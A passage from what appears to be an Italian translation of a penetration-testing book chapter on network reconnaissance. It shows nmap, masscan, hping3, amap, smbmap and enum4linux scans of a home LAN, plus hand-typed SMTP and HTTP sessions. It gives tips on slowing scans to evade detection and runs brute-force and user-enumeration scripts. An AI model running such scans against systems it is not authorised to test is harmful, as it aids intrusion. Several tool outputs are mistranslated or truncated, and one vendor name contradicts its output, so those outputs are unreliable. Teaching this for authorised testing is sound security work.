scansione e poi esamineremo altri strumenti per la scansione ad alta
velocità, utilizzati per la scansione di reti molto grandi in modo efficiente in
termini di tempo.
Scansione TCP
TCP è un protocollo orientato alla connessione. Poiché è orientato alla
connessione, il che significa che le due estremità della conversazione
tengono traccia di ciò che sta accadendo, la comunicazione può essere
considerata garantita. È garantita, tuttavia, solo sotto il controllo dei due
endpoint. Se dovesse accadere qualcosa nel mezzo della rete tra quei due
sistemi, non è garantito che la comunicazione arrivi lì, ma è garantito che
tu sappia quando la trasmissione fallisce. Inoltre, se un endpoint non
riceve una trasmissione, la parte mittente lo saprà.
Poiché TCP è orientato alla connessione, utilizza un handshake a tre vie per
stabilire tale connessione. Le scansioni delle porte TCP in genere sfruttano
tale handshake per determinare se le porte sono aperte. Se un messaggio
SYN, l'inizio dell'handshake a tre vie, viene inviato a un server e la porta è
aperta, il server risponderà con un messaggio SYN/ACK. Se la porta non è
aperta, il server risponderà inviando un messaggio RST (reset) indicando
che il sistema di invio deve fermarsi e non inviare più messaggi. Ciò indica
chiaramente al sistema di invio che la porta non è disponibile.
La sfida con qualsiasi scansione delle porte, e potenzialmente TCP
soprattutto, sono i firewall o altri meccanismi di blocco delle porte.
Quando viene inviato un messaggio, i firewall o gli elenchi di controllo degli
accessi possono impedire che il messaggio passi. Ciò può lasciare l'host
mittente in uno stato incerto. Non avere risposta non indica che la porta sia
aperta o chiusa, perché potrebbe semplicemente non esserci alcuna
risposta se il firewall o l'elenco di controllo degli accessi eliminano
semplicemente il messaggio in arrivo.
Un altro aspetto della scansione delle porte con TCP è che il protocollo
specifica i flag di intestazione oltre ai flag SYN e ACK. Questo apre la porta
all'invio di altri tipi di messaggi a sistemi remoti per vedere come
rispondono. I sistemi risponderanno in modi diversi, in base ai flag
configurati.
Scansione UDP
UDP è un protocollo semplice. Non ci sono connessioni e nessuna garanzia
di consegna o notifica. Pertanto, la scansione UDP può essere più
impegnativa. Ciò può sembrare controintuitivo, considerando che UDP è
semplice.
Con TCP, il protocollo definisce le interazioni. Ci si aspetta che un client invii
un messaggio con il flag SYN impostato nell'intestazione TCP. Quando viene
ricevuto su una porta aperta, il server risponde con un SYN e un ACK. Il
client risponde con un ACK. Ciò garantisce che entrambe le parti nella
comunicazione sappiano che l'altra estremità è lì. Il client sa che il server è
reattivo a causa del SYN/ACK e il server sa che il client non è stato
falsificato a causa della risposta ACK.
UDP non ha interazioni specifiche. Il protocollo non ha campi di
intestazione per fornire informazioni sullo stato o sulla gestione della
connessione. UDP consiste nel fornire un protocollo di livello di trasporto
che si toglie semplicemente di mezzo all'applicazione. Quando un client
invia un messaggio a un server, spetta interamente all'applicazione
decidere come o se rispondere. In assenza di un messaggio SYN/ACK per
indicare che il server ha ricevuto la comunicazione, il client potrebbe non
avere modo di sapere se una porta è aperta o chiusa. Una mancanza di
risposta potrebbe semplicemente significare che il client ha inviato un
messaggio che non è stato compreso. Potrebbe anche significare un errore
dell'applicazione. Quando si eseguono scansioni delle porte UDP, lo
scanner non può determinare se una mancanza di risposta significa una
porta chiusa. Pertanto, lo scanner dovrebbe in genere inviare nuovamente
il messaggio. Poiché UDP potrebbe essere de-prioritizzato nelle reti,
potrebbe volerci un po' di tempo prima che i messaggi raggiungano la
destinazione e tornino indietro. Ciò significa che lo scanner in genere
attenderà un breve periodo di tempo prima di inviare nuovamente. Ciò
accadrà alcune volte, poiché l'obiettivo è garantire che la porta sia
completamente esclusa.
Questo è lo stesso comportamento di scansione che si verificherebbe se
non ci fosse risposta a un messaggio TCP. Questo potrebbe essere il
risultato di un firewall che semplicemente elimina i messaggi. Invece di un
messaggio RST o persino di una risposta ICMP, lo scanner deve supporre
che il messaggio in uscita sia stato perso. Ciò significa nuovi tentativi. I
nuovi tentativi possono richiedere molto tempo, soprattutto se si esegue la
scansione di più di
65.000 porte. Ognuna potrebbe dover essere ritentata più volte. La
complessità della scansione delle porte UDP deriva dall'incertezza
derivante dalla mancanza di risposta.
Scansione delle porte con nmap
Il port scanner de facto oggi, e il primo che è diventato mainstream, è
nmap . A questo punto, nmap esiste da più di 20 anni e si è fatto strada in
importanti film, come Matrix . È diventato uno strumento di sicurezza così
importante che gli switch della riga di comando utilizzati da nmap sono
stati replicati da altri port scanner. Mentre potresti avere un'idea di cosa sia
un port scanner, nmap introduce molte più capacità rispetto alla semplice
esplorazione delle porte.
Iniziando con la scansione delle porte, però, possiamo vedere come nmap
si comporta con una scansione TCP. Prima di arrivarci, è importante
rendersi conto che esistono vari tipi di scansioni TCP. Anche nel contesto di
una scansione che coinvolge il messaggio SYN, ci sono un paio di modi per
farlo. Il primo è semplicemente una semplice scansione SYN: nmap invia un
messaggio SYN e registra se c'è una porta aperta o una porta chiusa. Se la
porta è chiusa, nmap riceve un messaggio RST e va avanti. Se nmap riceve
un SYN/ACK, risponde quindi con un messaggio RST in modo che
l'estremità ricevente chiuda la connessione e non la tenga aperta. Questo è
talvolta chiamato scansione semi-aperta .
In una scansione full-connect , nmap completa l'handshake a tre vie prima
di chiudere la connessione. Un vantaggio di questo tipo di scansione è che
le applicazioni non ricevono connessioni semi-aperte sul server. C'è una
piccola possibilità che questo possa essere meno sospetto per un sistema
di monitoraggio o un team rispetto alle connessioni semi-aperte. Non ci
sarebbero differenze nei risultati tra una scansione full-connect e una
scansione semi-aperta. Si riduce a quale è più educato e potenzialmente
meno probabile che venga notato. Nell'esempio 3-17 , puoi vedere i
risultati parziali di una scansione fullconnect. In questo esempio, sto
usando nmap per scansionare l'intera rete. La designazione /24 indica a
nmap di scansionare tutti gli host da 192.168.86.0-255. Questo è un modo
per indicarlo. Puoi anche fornire intervalli o elenchi di indirizzi se è ciò che
devi fare. Vedrai anche l'uso di -T 5 come parametro. Questo imposta la
limitazione. Il valore 5 indica a nmap che dovrebbe procedere il più
velocemente possibile. Se lo impostassi a 1, le richieste verrebbero inviate
molto lentamente, il che potrebbe essere utile per eludere il rilevamento.
Esempio 3-17. Scansione nmap full-connect
┌──(kilroy@badmilo)-[~]
└─$ sudo nmap -sT -T 5 192.168.1.0/24
Il report di scansione di Nmap per
l'host 192.168.1.1 è attivo (latenza
0,0056 s).
Non mostrato: 987 porte tcp chiuse (connrespinte)
SERVIZIO DELLO STATO DEL PORTO
22/tcp ssh filtrato
23/tcp telnet filtrato
53/tcp dominio aperto
80/tcp aperto http
111/tcp rpcbind filtrato
139/tcp apre netbios-ssn
443/tcp aperto https
445/tcp aperto microsoft-ds
5000/tcp aperto upnp
8200/tcp aperto trivnet1
20005/tcp aperto btx
49152/tcp aperto sconosciuto
49153/tcp aperto sconosciuto
Indirizzo MAC: 80:CC:9C:DD:71:F2 (Netgear)
Il report di scansione di Nmap per
l'host 192.168.1.15 è attivo (latenza
0,0053 s).
Non mostrato: 995 porte tcp chiuse (connrespinte)
SERVIZIO DELLO STATO DEL PORTO
22/tcp apre ssh
25/tcp smtp aperto
80/tcp aperto http
111/tcp apre rpcbind
443/tcp aperto https
Indirizzo MAC: 1C:69:7A:66:64:2A (EliteGroup
Comput
Il report di scansione di Nmap per
l'host 192.168.1.78 è attivo (latenza
0,016 s).
Non mostrato: 979 porte tcp chiuse (connrespinte)
SERVIZIO DELLO STATO DEL PORTO
6/tcp filtrato sconosciuto
9/tcp scarto filtrato
425/tcp filtrato icad-el
544/tcp kshell filtrata
1175/tcp dossier filtrato
1556/tcp filtrato veritas_pbx
2106/tcp ekshell filtrata
2121/tcp filtrato ccproxy-ftp
2144/tcp filtrato lv-ffx
2602/tcp ripd filtrato
2604/tcp ospfd filtrato
2920/tcp roboeda filtrata
3052/tcp paracadute di potenza filtrato
3690/tcp svn filtrato
5633/tcp beorl filtrato
6580/tcp parsec-master filtrato
10566/tcp filtrato sconosciuto
13782/tcp netbackup filtrato
32780/tcp filtrato a volte-rpc23
49158/tcp filtrato sconosciuto
49165/tcp filtrato sconosciuto
Indirizzo MAC: E2:43:49:15:DF:19 (Sconosciuto)
Nell'output, nmap fornisce non solo il numero di porta, ma anche il
servizio. Questo nome di servizio deriva da un elenco di identificatori di
servizio che nmap conosce e non ha nulla a che fare con ciò che potrebbe
essere in esecuzione su quella porta. nmap può determinare quale servizio
è in esecuzione sulla porta ottenendo risposte dell'applicazione. nmap
fornisce anche utilmente una ricerca dell'ID del fornitore dall'indirizzo
MAC. Questo ID del fornitore può aiutarti a identificare il dispositivo che
stai guardando. Il primo, ad esempio, è di TPLink Technologies. TP-Link
produce hardware di rete come dispositivi router/access point wireless.
Potresti aver notato che non ho specificato le porte che volevo
scansionare. Di default, nmap scansiona le 1.000 porte più comunemente
usate. Questo rende la scansione più veloce della scansione di tutte le
65.536 porte, poiché non vedrai la maggior parte di quelle porte in uso. Se
vuoi specificare le porte, puoi usare intervalli o elenchi. Se vuoi scansionare
tutte le porte, puoi usare l'opzione della riga di comando -p- . Questo dice
a nmap di scansionare tutto; nmap ha anche una velocità predefinita a cui
scansiona. Questo è il ritardo tra i messaggi che vengono inviati. Per
impostare una velocità di limitazione diversa, puoi usare -T e un valore da 0
a 5. Il valore predefinito è -T 3 . Potresti andare più in basso se vuoi essere
educato limitando la larghezza di banda usata, o se stai cercando di essere
furtivo e limitare la possibilità di essere scoperto. Se non ti interessa essere
scoperto e vuoi che la tua scansione vada più veloce, puoi aumentare la
velocità di limitazione.
Sebbene esistano altri tipi di scansioni TCP, queste ti daranno buoni risultati
nella maggior parte dei casi. Altre scansioni sono pensate per test di
evasione o firewall, sebbene siano note da molti anni ormai. Possiamo
passare a fare scansioni UDP usando nmap . Puoi usare le stesse velocità di
accelerazione della scansione TCP. Avrai comunque il problema della
ritrasmissione, anche se stai andando più veloce. Sarà più veloce di una
scansione normale se aumenti la velocità di accelerazione, ma sarà più
lenta di, diciamo, una scansione TCP. Puoi vedere l'output di una scansione
UDP nell'Esempio 3 18
.
Esempio 3-18. Scansione UDP da nmap
┌──(kilroy@badmilo)-[~]
└─$ sudo nmap -sU 192.168.1.0/24
Avvio di Nmap 7.94 (https://nmap.org) a 2023-0
Il report di scansione Nmap per 192.168.1.1 Host
è attivo (latenza 0,0049s). Non mostrato: 500
porte UDP chiuse (port-unreach), 4 porte UDP
(nessuna risposta) SERVIZIO STATO PORTA
53/udp dominio aperto
67/udp apre dhcps
137/udp apre netbios-ns
1900/udp aperto upnp
Indirizzo MAC: 80:CC:9C:DD:71:F2 (Netgear)
Rapporto di scansione Nmap per 192.168.1.10 Host
attivo (latenza 0,0044s). Non mostrato: 801 porte
UDP aperte|filtrate (porte UDP non attive (porte
non raggiungibili) PORT STATE SERVICE
111/udp apre rpcbind
137/udp open netbios-ns
MAC Address: 1C:69:7A:F1:2A:E0 (EliteGroup Comput
NOTA
La scansione TCP di tutti i sistemi sulla mia rete ha richiesto poco meno di cinque minuti su una rete
locale, il che significa che non ci sarebbe stato alcun ritardo di rete. La scansione UDP, al confronto, ha
richiesto 110 minuti, quindi quasi due ore. Per ottenere un ritorno della scansione UDP anche così
rapidamente è stato necessario aumentare al massimo la velocità, in modo che il traffico di rete
venisse inviato più velocemente.
Sebbene nmap possa effettuare la scansione delle porte, ha altre capacità.
Ad esempio, puoi fargli eseguire un rilevamento del sistema operativo. Lo
fa in base alle impronte digitali che sono state raccolte da sistemi operativi
noti. Inoltre, nmap può eseguire script. Questi script vengono chiamati in
base alle porte che sono state identificate come aperte e sono scritti nel
linguaggio di programmazione Lua. Sebbene gli script forniti con nmap
forniscano molte capacità, puoi aggiungere i tuoi script in base alle tue
esigenze. Per eseguire gli script, dici a nmap il nome dello script che vuoi
eseguire. Puoi anche eseguire una raccolta di script, come puoi vedere
nell'esempio 3-19 . In questo caso, nmap eseguirà qualsiasi script che abbia
http come inizio del suo nome. Se nmap rileva che una porta web comune
è aperta, chiamerà i diversi script su quella porta. Questa richiesta di
scansione catturerà tutti gli script basati sul web disponibili. Al momento di
questa esecuzione, sono 138 script.
Esempio 3-19. Script con nmap
┌──(kilroy@badmilo)-[~]
└─$ sudo nmap -sS -T 3 -p 80 -oN nse-out.txt --sc
Avvio di Nmap 7.94 (https://nmap.org) alle 2023-0
NSE: Avviso: Impossibile caricare 'httpbrute.nse': nessun http-brute.nse Risultati dello
script di pre-scansione:
|_http-robtex-shared-ns: *TEMPORANEAMENTE
DISATTIVATO* d
Vedi https://www.robtex.com/api/
NSE: [http-form-brute] nomi utente: limite di
tempo 10m0
NSE: [http-form-brute] nomi utente: limite di
tempo 10m0
NSE: [http-form-brute] password: limite di tempo
10m0
Il report di scansione di Nmap per
l'host 192.168.1.15 è attivo (latenza
0,0097 s).
SERVIZIO DELLO STATO DEL PORTO
80/tcp aperto http
|_http-csrf: Impossibile trovare alcuna
vulnerabilità CSRF | http-form-brute:
| Account: Nessun account valido trovato
|_ Statistiche: Eseguite 3980 ipotesi in 600 sec
|_http-slowloris: falso
|_http-favicon: Favicon sconosciuta MD5:
69C728902A3F | http-vhosts:
|_128 nomi avevano lo stato
302 | http-form-fuzzer:
| Percorso: / Azione: login.php
| nome utente | lunghezze delle stringhe
che hanno causato errori:
| 309106 | lunghezze intere che hanno
causato errori:
|_ 304092, 308800 |_http-devframework:
Impossibile determinare il valore
'httpspider.maxpagecount' in aumento per spi |
http-headers:
| Data: mer, 28 giu 2023 10:57:57 GMT
| Server: Apache/2.4.55 (Ubuntu)
| Set-Cookie: sicurezza=bassa; percorso=/
| Imposta cookie:
PHPSESSID=6p5qtnekffolip8bek4akmq
10:57:57 GMT; Età massima=86400; percorso=/;
HttpOnly
| Scade: Mar, 23 giu 2009 12:00:00 GMT
| Cache-Control: no-cache, must-revalidate
| Pragma: nessuna cache
| Connessione: chiusa
| Tipo di contenuto: testo/html;charset=utf-8
|
|_ (Tipo di richiesta: HEAD)
|_http-config-backup: ERRORE: esecuzione script
non riuscita
|_http-malware-host: l'host sembra pulito
|_http-date: mer, 28 giu 2023 10:57:58 GMT; -1s f
Indirizzo MAC: 1C:69:7A:66:64:2A (EliteGroup
Comput
Nmap done: 1 IP address (1 host up) scanned in 49
Dall'esempio puoi vedere che la scansione è stata limitata a un singolo host
su una singola porta. Se devo eseguire script basati su HTTP, potrei anche
limitare le mie ricerche solo alle porte HTTP. Puoi eseguire script come
questo con una scansione normale di 1.000 porte, ma ci vorrebbe molto
tempo per poco valore. Inoltre, dovrai leggere tutto l'output. Dovrai
esaminare tutti gli altri risultati per trovare l'output dello script per i server
Web.
Oltre a eseguire script e la scansione di base delle porte, nmap fornirà
informazioni sul target e sui servizi in esecuzione. Se si specifica -A sulla
riga di comando per nmap , eseguirà un rilevamento del sistema operativo
e un rilevamento della versione. Eseguirà anche script in base alle porte
trovate aperte. Infine, nmap eseguirà un traceroute per fornire il percorso
di rete tra te e l'host di destinazione.
Scansione ad alta velocità
nmap potrebbe essere lo scanner di porte de facto, ma non è l'unico
disponibile. In alcuni casi, potresti avere grandi reti da scansionare. nmap è
efficiente, ma non è ottimizzato per la scansione di reti molto grandi. Uno
scanner progettato per la scansione di grandi reti è masscan . Una
differenza importante tra masscan e nmap è che masscan utilizza la
comunicazione asincrona: il programma invierà un messaggio e, anziché
attendere la risposta, continuerà a inviare. Utilizza un'altra parte del
programma per attendere le risposte e registrarle. La sua capacità di
trasmettere ad alte velocità gli consente di scansionare l'intera Internet in
pochi minuti. Confronta questo con la velocità di scansione di una sola rete
locale /24 con un massimo di 254 host utilizzando nmap .
masscan può accettare parametri diversi, ma accetta anche quelli accettati
da nmap . Se sai come usare nmap , puoi imparare masscan rapidamente.
Un'altra differenza tra masscan e nmap , che puoi vedere nell'Esempio 320 , è la necessità di specificare le porte. nmap assumerà un set di porte da
usare. masscan non assume alcuna porta. Se provi a eseguirlo senza dirgli
quali porte scansionare, ti chiederà di specificare le porte che vuoi
scansionare. Nell'Esempio 3-20 , l'ho impostato per scansionare le prime
1.500 porte. Se stavi cercando tutti i sistemi in ascolto sulla porta 443, il
che significa che quel sistema stava probabilmente utilizzando un server
web basato su TLS, dovresti specificare che volevi scansionare solo la porta
443. Non scansionare le porte che non ti interessano ti farà risparmiare un
sacco di tempo. Vale la pena sottolineare che eseguire masscan contro
la stessa rete utilizzata per le scansioni nmap ha impiegato molto più
tempo per una scansione SYN rispetto a nmap .
Esempio 3-20. Scansione ad alta velocità con masscan
┌──(kilroy@badmilo)-[~]
└─$ sudo masscan -sS --porte 1-1500 192.168.1.0/2
Avvio di masscan 1.3.2 (http://bit.ly/14GZzcT) a
Avvio della scansione stealth SYN
Scansione di 256 host [1500 porte/host]
Scoperta porta aperta 80/tcp su 192.168.1.22
Scoperta porta aperta 853/tcp su 192.168.1.118
Scoperta porta aperta 443/tcp su 192.168.1.1
Scoperta porta aperta 22/tcp su 192.168.1.15
Scoperta porta aperta 445/tcp su 192.168.1.144
Scoperta porta aperta 445/tcp su 192.168.1.1
Scoperta porta aperta 53/tcp su 192.168.1.1
Scoperta porta aperta 53/tcp su 192.168.1.194
Scoperta porta aperta 853/tcp su 192.168.1.113
Scoperta porta aperta 853/tcp su 192.168.1.55
Scoperta porta aperta 53/tcp su 192.168.1.55
Scoperta porta aperta 53/tcp su 192.168.1.236
Scoperta porta aperta 443/tcp su 192.168.1.15
Puoi usare un'utilità multiuso per la scansione delle porte che ti darà anche
un certo controllo sull'intervallo di tempo tra l'invio dei messaggi. Mentre
masscan usa un approccio asincrono per velocizzare le cose, hping3 ti dà la
possibilità di specificare l'intervallo tra i pacchetti. Questo non gli dà la
capacità di fare una scansione ad alta velocità, ma hping3 ha molta
potenza per eseguire molte altre attività. hping3 ti consente di creare un
pacchetto con opzioni della riga di comando. La sfida nell'usare hping3
come scanner è che è davvero un programma di ping iperattivo e non
un'utilità che cerca di ricreare ciò che fanno nmap e altri scanner.
Tuttavia, se si desidera eseguire la scansione e il sondaggio su singoli host
per determinare le caratteristiche, hping3 è uno strumento eccezionale.
L'esempio 3-21 è una scansione SYN su 10 porte. Il parametro -S indica a
hping3 di impostare il flag SYN. Utilizziamo il flag -p per indicare la porta
che stiamo per analizzare. Aggiungendo ++ al flag -p , stiamo dicendo a
hping3 che vogliamo che incrementi il numero di porta. Possiamo
controllare il numero di porte impostando il conteggio con il flag -c . In
questo caso, hping3 analizzerà 10 porte e si fermerà. Infine, possiamo
impostare la porta sorgente con -s
flag e un numero di porta. Per questa scansione, la porta sorgente non è
molto importante, ma in alcuni casi lo sarà.
Esempio 3-21. Utilizzo di hping3 per la scansione delle porte
root@rosebud:~# hping3 -S -p ++80 -s 1657 -c 10
HPING 192.168.86.1 (eth0 192.168.86.1): S
impostato, 40 len=46 ip=192.168.86.1 ttl=64 DF
id=0 sport=80 fl len=46 ip=192.168.86.1 ttl=64 DF
id=15522 sport=8 len=46 ip=192.168.86.1 ttl=64 DF
id=15523 sport=8 len=46 ip=192.168.86.1 ttl=64 DF
id=15524 sport=8 len=46 ip=192.168.86.1 Italiano:
ttl=64 DF id=15525 sport=8 len=46 ip=192.168.86.1
ttl=64 DF id=15526 sport=8 len=46 ip=192.168.86.1
ttl=64 DF id=15527 sport=8 len=46 ip=192.168.86.1
ttl=64 DF id=15528 sport=8 len=46 ip=192.168.86.1
ttl=64 DF id=15529 sport=8 len=46 ip=192.168.86.1
ttl=64 DF id=15530 sport=8
--- 192.168.86.1 statistica hping --10 pacchetti
trasmessi, 10 pacchetti ricevuti, 0% p andata e
ritorno min/media/max = 5,3/6,6/7,8 ms
A differenza di uno scanner di porte, che ti dirà quali porte sono aperte,
con hping3 devi interpretare i risultati per determinare se hai trovato una
porta aperta. Mentre esamini ogni riga delle risposte, puoi vedere il campo
dei flag . Il primo messaggio restituito ha i flag SYN e ACK impostati. Ciò
indica che la porta è aperta. Se esamini il campo sport , vedrai che la porta
aperta è 80. Questo può sembrare all'indietro in quanto fornisce una porta
sorgente, ma tieni presente che ciò che stai osservando è un messaggio di
risposta. Nel messaggio in uscita, 80 sarebbe la porta di destinazione, ma
nella risposta, diventerebbe la porta sorgente.
Gli altri messaggi di risposta mostrano che i flag RST e ACK sono impostati.
Poiché il flag RST è impostato sulla risposta, sappiamo che la porta è
chiusa. Utilizzando hping3 , puoi impostare qualsiasi insieme di flag
desideri. Ad esempio, potresti eseguire una scansione di Natale in cui sono
impostati i flag FIN , PSH e URG . Si chiama scansione di Natale perché con
tutti quei flag impostati, si dice che il pacchetto assomigli a un albero di
Natale con le luci. Devi immaginare che abilitare un flag accenda una luce
per dare un senso a questo nome. Per eseguire una scansione di Natale,
potremmo semplicemente impostare tutti quei flag sulla riga di comando,
come in hping3 -F -P -U . Quando inviamo quei messaggi allo stesso target
di prima, il target risponde con i flag RST e ACK sulle porte 81–89. Non c'è
alcuna risposta sulla porta 80. Il motivo è che la porta 80 è aperta, ma RFC
793 suggerisce che i pacchetti di questo tipo rientrano in una categoria che
dovrebbe essere scartata, ovvero nessuna risposta.
Come notato in precedenza, hping3 può anche essere utilizzato per inviare
messaggi ad alta velocità. Ci sono due modi per farlo. Il primo è tramite
l'uso del flag -i e un valore. Un semplice valore numerico sarà il tempo di
attesa in secondi. Se vuoi che vada più veloce, puoi usare -i u1 , ad
esempio, per attendere solo un microsecondo. Il prefisso u al valore indica
che viene fornito in microsecondi. Il secondo modo per inviare messaggi ad
alta velocità con hping3 è tramite l'uso dell'opzione --flood sulla riga di
comando. Questo dice a hping3 di inviare messaggi il più velocemente
possibile senza preoccuparsi di attendere una risposta.
Scansione del servizio
In definitiva, ciò che vuoi ottenere è il servizio in esecuzione sulle porte
aperte. Le porte stesse probabilmente ti diranno molto, ma potrebbero
non esserlo. A volte i servizi vengono eseguiti su porte non standard, anche
se meno comunemente. Ad esempio, normalmente ti aspetteresti di
vedere SSH sulla porta TCP 22. Se nmap trovasse la porta 22 aperta,
indicherebbe che SSH è stato trovato. Se nmap trovasse la porta 2222
aperta, non saprebbe cosa pensare a meno che tu non abbia specificato
che volevi fare una scansione della versione per ottenere la versione
dell'applicazione prendendo i banner dai protocolli.
Al contrario, amap non fa ipotesi sul servizio dietro la porta. Invece, include
un database di come i protocolli dovrebbero rispondere e quindi per
determinare l'applicazione effettiva in ascolto sulla porta, invia trigger alla
porta e quindi cerca le risposte nel database.
Nell'esempio 3-22 , puoi vedere due esecuzioni di amap . La prima è
un'esecuzione su un server web che usa la porta predefinita. Non
sorprende che amap ci dica che il protocollo corrisponde a HTTP. Nella
seconda esecuzione, stiamo sondando la porta 8383, che è emersa in una
scansione delle porte del target. La porta 8383 viene mostrata come http
nella scansione delle porte, perché è il servizio noto per quella porta, o
almeno quello che è stato precedentemente registrato per quella porta.
Non è una porta comune, però, e solo perché un servizio è stato registrato
con una porta non significa che sia l'applicazione che verrà eseguita su
quella porta. Quindi, possiamo usare amap per aiutarci a capire quale
applicazione o servizio potrebbe essere in esecuzione su quella porta.
Esempio 3-22. Ottenere informazioni sull'applicazione da amap
┌──(kilroy@badmilo)-[~] └─$
sudo amap 192.168.1.219 80
amap v5.4 (www.thc.org/thc-amap) avviato nel
2023 Modalità di MAPPATURA DELLE APPLICAZIONI
Il protocollo su 192.168.1.219:80/tcp
corrisponde a http
Il protocollo su 192.168.1.219:80/tcp corrisponde
a http-apa
Il protocollo su 192.168.1.219:80/tcp corrisponde
a http-iis Porte non identificate: nessuna.
amap v5.4 terminato il 28-06-2023 18:16:40
┌──(kilroy@badmilo)-[~]
└─$ sudo amap 192.168.1.219 8383
amap v5.4 (www.thc.org/thc-amap) avviato nel 2023
Modalità di MAPPATURA DELLE APPLICAZIONI
Il protocollo su 192.168.1.219:8383/tcp
corrisponde a http
Il protocollo su 192.168.1.219:8383/tcp
corrisponde a http-a
Il protocollo su 192.168.1.219:8383/tcp
corrisponde a ssl Porte non identificate:
nessuna. amap v5.4 terminato il 28-06-2023
18:18:20
Alcuni protocolli possono essere utilizzati per raccogliere informazioni sugli
host di destinazione. Uno di questi è il protocollo Server Message Block
(SMB). Questo è un protocollo utilizzato per la condivisione di file su reti
Windows. Può anche essere utilizzato per la gestione remota di sistemi
Windows. Un paio di strumenti possono essere utilizzati per analizzare
sistemi che utilizzano SMB per la condivisione di file. Uno di questi è
smbmap , che può essere utilizzato per elencare tutte le condivisioni
offerte su un sistema. L'esempio 3-23 mostra un'esecuzione di smbmap su
un sistema macOS che utilizza SMB per condividere file sulla rete. Di solito,
le condivisioni non vengono offerte senza alcuna autenticazione. Di
conseguenza, è necessario fornire informazioni di accesso per ottenere
indietro le condivisioni. Questo ha lo svantaggio di richiedere nomi utente
e password per ottenere le informazioni. Se si dispone già di nome utente
e password, potrebbe non essere necessario utilizzare uno strumento
come smbmap .
Esempio 3-23. Elencare le condivisioni di file utilizzando smbmap
┌──(kilroy@badmilo)-[~]
└─$ smbmap -u kilroy -p obScurePW123! -H 192.168
[+] IP: 192.168.1.10:445 Nome: 192.168.1.10
Disco ---- ----------- ----- homes READ, WRITE
Home Di media READ ONLY Media d print$ READ ONLY
Printe IPC$ NESSUN ACCESSO IPC Se kilroy READ,
WRITE Home Directory READ, WRITE
Un altro strumento che cercherà queste condivisioni SMB e altre
informazioni condivise tramite quel protocollo è enum4linux . Questo
script racchiude i programmi forniti con il pacchetto Samba, che
implementa il protocollo SMB su Linux. Puoi anche usare direttamente
quei programmi. Ad esempio, puoi usare smbclient per interagire con
sistemi remoti. L'esempio 3-24 mostra l'uso di enum4linux per ottenere un
elenco di utenti da un server Linux che esegue Samba. Questo potrebbe
includere l'ottenimento di un elenco delle condivisioni proprio come fa
smbmap nell'esempio 3-23 .
Esempio 3-24. Utilizzo di enum4linux
┌──(kilroy@badmilo)-[~]
└─$ sudo enum4linux -U 192.168.1.10 Avvio di
enum4linux v0.9.1 ( http://labs.portcull
enum4linux/ ) mercoledì 28 giugno 18:25:51 2023
=====================( Informazioni sulla
destinazione)=======
Destinazione ........... 192.168.1.10
Intervallo RID ........ 500-550,1000-1050
Nome utente ......... ''
Parola d'ordine ......... ''
Nomi utente noti .. amministratore, ospite,
krbtgt,
=======( Enumerazione del gruppo di
lavoro/dominio su 192.168
[+] Ottenuto il nome del dominio/gruppo di
lavoro: WASHERE
========( Ottenere il SID del dominio per
192.168.1.10 )=
Nome di dominio: WASHERE
Sid dominio: (SID NULL)
[+] Impossibile determinare se l'host fa parte
del dominio o =================( Utenti su
192.168.1.10 )======== indice: 0x1 RID: 0x3e8
acb: 0x00000010 Account: ki utente:[kilroy]
rid:[0x3e8]
Questa è solo una delle capacità di enum4linux , ma puoi vedere che è in
grado di estrarre molte informazioni usando il protocollo SMB. Ciò è
possibile perché SMB, almeno in una certa misura, fornisce informazioni
sulla rete locale, poiché è utile ad altri sistemi che potrebbero voler
utilizzare i servizi che il server in questione sta offrendo, incluso un elenco
di condivisioni, per esempio.
Interazione manuale
Sebbene gli strumenti automatizzati per raccogliere informazioni siano
fantastici, a volte è necessario scendere nei dettagli e giocare direttamente
con il protocollo. Ciò significa aprire una connessione alla porta di servizio
ed emettere comandi di protocollo. Un programma che puoi usare è il
client telnet . Questo è diverso sia dal protocollo Telnet che dal server
Telnet. Sebbene il client telnet venga usato per interagire con un server
Telnet, è in realtà solo un programma che può aprire una connessione TCP
a un server remoto. Tutto ciò che devi fare è fornire un numero di porta a
telnet . Nell'esempio 3-25 , ho usato telnet per aprire una connessione a un
server Simple Mail Transfer Protocol (SMTP).
Esempio 3-25. Utilizzo di telnet per interagire con un server di posta
┌──(kilroy@badmilo)-[~]
└─$ telnet 192.168.1.15 25
Tentativo 192.168.1.15...
Connesso a 192.168.1.15.
Il carattere di escape è '^]'.
220 bobbie ESMTP Postfix (Ubuntu)
EHLO wubble.com
250-bobbie
250-TUBOLAZIONE
250-TAGLIA 10240000
250-VRFY
250-ETRN
250-INIZITLS
250-CODICI DI STATO MIGLIORATI
250-8BITMIME
250-DSN
250-SMTPUTF8
250 MAIL IN SCHEMA DA:
foo@foo.com
250 2.1.0 Ok RCPT A:
root@localhost
250 2.1.5 Va bene
DATA 354 Termina i dati con
<CR><LF>.<CR><LF>
Ciao, sono
io.
.
250 2.0.0 Ok: in coda come 43AB04343C14
Se si utilizza il client telnet , verrà impostata di default la porta 23, che è la
porta Telnet standard. Tuttavia, se forniamo un numero di porta, in questo
caso 25, possiamo far sì che telnet apra una connessione TCP a quella
porta. Una volta aperta la connessione, il che è chiaramente indicato, puoi
iniziare a digitare le istruzioni di protocollo. Poiché è un server SMTP, ciò
che vedi è una conversazione in Extended SMTP (ESMTP). Possiamo
raccogliere informazioni utilizzando questo approccio, incluso il tipo di
server SMTP (Postfix) e i comandi di protocollo disponibili. Sebbene questi
siano tutti comandi SMTP, i server non sono tenuti a implementarli. Il
comando VRFY, ad esempio, viene utilizzato per verificare gli indirizzi.
Questo potrebbe essere utilizzato per enumerare gli utenti su un server di
posta. Non è qualcosa che le organizzazioni vorranno che gli utenti remoti
siano in grado di fare, perché può esporre informazioni che potrebbero
essere utili a un aggressore. Invece, potrebbero semplicemente disabilitare
quel comando.
Il primo messaggio che riceviamo dal server è il banner di servizio. Alcuni
protocolli usano un banner di servizio per annunciare i dettagli
sull'applicazione. Quando uno strumento come nmap raccoglie
informazioni sulla versione, sta cercando questi banner di servizio. Non
tutti i protocolli o server invieranno un banner di servizio con informazioni
sul protocollo o sul server.
telnet non è l'unico comando che può essere utilizzato per interagire con i
server. Puoi anche usare netcat , che di solito viene eseguito tramite il
comando nc . Possiamo usare nc nello stesso modo in cui usiamo telnet .
Nell'esempio 3-26 , ho aperto una connessione a un server web su
192.168.86.1. A differenza di telnet , nc non indica che la connessione è
aperta. Se la porta è chiusa, riceverai un messaggio che dice "Connessione
rifiutata". Se non ricevi quel messaggio, puoi supporre che la connessione
sia aperta e puoi iniziare a digitare comandi. Vedrai una richiesta HTTP/1.1
inviata al server remoto. Una volta inviata la richiesta, una riga vuota
comunica al server remoto che le intestazioni sono state completate, a
